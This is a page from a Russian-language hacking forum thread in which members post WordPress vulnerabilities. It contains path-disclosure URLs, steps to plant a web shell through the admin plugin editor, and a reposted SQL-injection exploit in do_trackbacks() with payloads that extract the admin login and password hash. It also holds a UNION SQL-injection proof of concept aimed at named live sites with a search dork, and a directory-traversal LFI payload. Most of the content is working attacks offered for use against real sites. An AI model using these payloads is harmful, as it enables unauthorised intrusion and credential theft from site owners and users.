HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #161  
Старый 17.08.2010, 17:39
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388

Репутация: 87
По умолчанию

Цитата:
Сообщение от RA1Sh  
RA1Sh said:
Как её прикрыть ? ))
для этого есть много различных мануалов, и если будут проблемы то можно задавать их тут /forum37.html специальный спец раздел.

з.ы /thread30641.html
 
Ответить с цитированием

  #162  
Старый 19.08.2010, 18:51
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388

Репутация: 87
По умолчанию

WordPress 3.0.1

поковырялся немного и нашел пути

Раскрытие пути:

Код:
Code:
http://localhost/wordpress/wp-admin/edit.php?post_type[]=page
http://localhost/wordpress/wp-admin/options-general.php?page[]=
http://localhost/wordpress/wp-admin/post-new.php?post_type[]=page
http://localhost/wordpress/wp-admin/plugins.php?activate=true&plugin_status=all&paged[]=1
http://localhost/wordpress/wp-admin/plugin-editor.php?file[]=
Заливаем шелл через админку:

Цитата:
Сообщение от None  
http://localhost/wordpress/wp-admin/plugin-editor.php?file=index.php
все удаляем и пишем исходный код шелла..

по адресу site/wordpress/wp-content/plugins/ будет наш шелл.
 
Ответить с цитированием

  #163  
Старый 19.08.2010, 20:11
Berman
Участник форума
Регистрация: 20.02.2010
Сообщений: 121
Провел на форуме:
496930

Репутация: 60
Отправить сообщение для Berman с помощью ICQ
По умолчанию

Ок, вот тоже парочку раскрытей наковырял:

Цитата:
Сообщение от None  
http://site.ru/wp-content/plugins/contact-form-7/admin/admin.php - Если стоит contact-form-7
http://site.ru/wp-content/plugins/akismet/akismet.php - стандартный плагин
 
Ответить с цитированием

  #164  
Старый 19.08.2010, 21:37
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
Отправить сообщение для satana-fu с помощью ICQ
По умолчанию

Цитата:
Сообщение от Berman  
Berman said:
Ок, вот тоже парочку раскрытей наковырял:
в тройке практически во всех php файлах присутствует ошибка обработкиget_header();, что ведет к раскрытию путей, я у себя просто запретил вывод ошибок, добавив error_reporting (0);.


Если можно по другому решить это, буду рад услышать .
 
Ответить с цитированием

  #165  
Старый 14.09.2010, 23:22
SuNDowN
Участник форума
Регистрация: 31.03.2008
Сообщений: 160
Провел на форуме:
706093

Репутация: 97
Отправить сообщение для SuNDowN с помощью ICQ
По умолчанию

Кто может рассказать про уязвимость с выдеранием фтп в WP версиях 2.8.6-3.0.0? Или выдеранием админских данных?
 
Ответить с цитированием

  #166  
Старый 27.09.2010, 17:48
<Cyber-punk>
Участник форума
Регистрация: 01.10.2009
Сообщений: 105
Провел на форуме:
559542

Репутация: 94
Отправить сообщение для <Cyber-punk> с помощью ICQ
По умолчанию

WordPress 2.9.2

Код:
Code:
http://127.0.0.1/wordpress/wp-admin/includes/misc.php
http://127.0.0.1/wordpress/wp-admin/import/rss.php
http://127.0.0.1/wordpress/wp-admin/includes/admin.php
http://127.0.0.1/wordpress/wp-admin/includes/file.php
http://127.0.0.1/wordpress/wp-admin/includes/comment.php
http://127.0.0.1/wordpress/wp-admin/includes/user.php
http://127.0.0.1/wordpress/wp-admin/includes/update.php
+ по умалчанию можно смотреть содержимое http://127.0.0.1/wordpress/wp-admin/includes/ в котором много файлов с раскрытием путей.

Ссори, если баян.
 
Ответить с цитированием

  #167  
Старый 12.12.2010, 20:37
krobol
Познающий
Регистрация: 10.02.2008
Сообщений: 56
Провел на форуме:
271527

Репутация: 14
Отправить сообщение для krobol с помощью ICQ
По умолчанию

SQL-inj WordPress до версии 3.0.1 (нужны права Author)

Description: SQL injection vulnerability in do_trackbacks() function of WordPress allows remote attackers to execute arbitrary SELECT SQL query.

Access Vector: Network

Attack Complexity: Medium

Authentication: Single Instance

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Код:
Code:
UPDATE Dec 1, 2010: This vulnerability was first discovered by M4g and is described in this 
article. 
  
The do_trackbacks() function in wp-includes/comment.php does not properly escape the input that 
comes from the user, allowing a remote user with publish_posts and edit_published_posts 
capabilities to execute an arbitrary SELECT SQL query, which can lead to disclosure of any 
information stored in the WordPress database. 
  
function do_trackbacks($post_id) { 
    global $wpdb; 
   
    $post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ); 
    $to_ping = get_to_ping($post_id); 
    $pinged  = get_pung($post_id); 
    if ( empty($to_ping) ) { 
        $wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) ); 
        return; 
    } 
   
    if ( empty($post->post_excerpt) ) 
        $excerpt = apply_filters('the_content', $post->post_content); 
    else 
        $excerpt = apply_filters('the_excerpt', $post->post_excerpt); 
    $excerpt = str_replace(']]>', ']]>', $excerpt); 
    $excerpt = wp_html_excerpt($excerpt, 252) . '...'; 
   
    $post_title = apply_filters('the_title', $post->post_title); 
    $post_title = strip_tags($post_title); 
   
    if ( $to_ping ) { 
        foreach ( (array) $to_ping as $tb_ping ) { 
            $tb_ping = trim($tb_ping); 
            if ( !in_array($tb_ping, $pinged) ) { 
                trackback($tb_ping, $post_title, $excerpt, $post_id); 
                $pinged[] = $tb_ping; 
            } else { 
                $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) ); 
            } 
        } 
    } 
} 
  
The $tb_ping variable is passed to the query in line 1657 unescaped. 
  
Exploitation. The logged in user must have publish_posts and edit_published_posts capabilities 
(this corresponds to the Author role). 
  
First, the user creates a new post (title/content does not matter); text to put into the “Send Trackbacks” field is: 
  
AAA’,”)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’ 
  
and publishes it. He needs to wait a bit — for wp-cron.php to process the trackback. The get_to_ping() function says that this trackback is to be processed: 
  
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,' 
  
Then the user goes back and edits the post. 
  
Now the user duplicates the text in the “Send Trackbacks” field and updates the post: 
  
AAA’,”)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’ 
  
AAA’,”)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’ 
  
The get_to_ping() function says that these trackbacks are to be processed: 
  
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,' 
  
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,' 
  
Query logging shows that WordPress executes this query (reformatted for the sake of readbility): 
  
UPDATE wp_posts 
SET to_ping = TRIM(REPLACE(to_ping, 'AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'', '')) 
WHERE ID = 11 
  
After that when the user refreshes the page (he may need to wait a bit for wp-cron.php to complete), the admin information is shown in the input box. 
  
Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed. 
The screenshots above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch. 
  
Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed. 
The examples above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.
Только что проверил на денвере. На 3.0.1 работает, на 3.0.2 нет.
 
Ответить с цитированием

  #168  
Старый 05.04.2011, 01:11
z0mbyak
Познающий
Регистрация: 10.04.2010
Сообщений: 49
Провел на форуме:
168709

Репутация: 1
По умолчанию

FBConnect SQL-InJ

Доброго времени суток, ковырял тут водпресс и вот что наковырял)

Тип: SQL-Inj

Плагин: Хрен его знает как он называется точно, так как пасс не подобрал) но какой-то фейсбуковский)

Dork: inurl:"fbconnect_action=myhome"

Собственно PoC:

http://www.sociable.es/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+ select+1,2,3,4,5,concat(user_login,0x3a,user_pass) z0mbyak,7,8,9,10,11,12+from+wp_users--

или

http://binaries.ru/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+ select+1,2,3,4,5,concat(user_login,0x3a,user_pass) z0mbyak,7,8,9,10,11,12+from+wp_users--

P.S. Вроде не боян, хотя с вордпрессом не работаю, поэтому не в курсе)

P.P.S В Google

Цитата:
Сообщение от None  
Результатов: примерно 926 000
Развлекайтесь)))
 
Ответить с цитированием

  #169  
Старый 05.04.2011, 16:55
ta-kyn
Новичок
Регистрация: 07.05.2009
Сообщений: 20
Провел на форуме:
86381

Репутация: 16
По умолчанию

Вроде не боян. Респект.

Плагин называется WP-FacebookConnect.

http://wordpress.org/extend/plugins/wp-facebookconnect/

Последняя доступная версия 1.3.1
 
Ответить с цитированием

  #170  
Старый 05.04.2011, 17:32
White Bear
Guest
Сообщений: n/a
Провел на форуме:
1941

Репутация: 0
По умолчанию

LFI

Vulnerable Plugin: WordPress WP Custom Pages 0.5.0.1

Type vulnerable: LFI

Description: Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере.

-=POC=-

Код:
Code:
http://localhost/wordpress/wp-content/plugins/wp-custom-pages/wp-
download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
Author: AutoSec Tools
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Веб-уязвимости 361 24.10.2019 10:25
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Веб-уязвимости 43 04.02.2012 20:33
[ Обзор уязвимостей SLAED CMS ] _kREveDKo_ Веб-уязвимости 20 01.11.2009 14:28
ОБЗОР УЯЗВИМОСТЕЙ БЕСПЛАТНЫХ ПОЧТОВЫХ СЕРВИСОВ nike57 Уязвимости Mail-сервис 4 05.05.2006 22:03
Статья обзор уязвимостей бесплатных почтовых сервисов markel Уязвимости Mail-сервис 3 12.09.2005 10:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ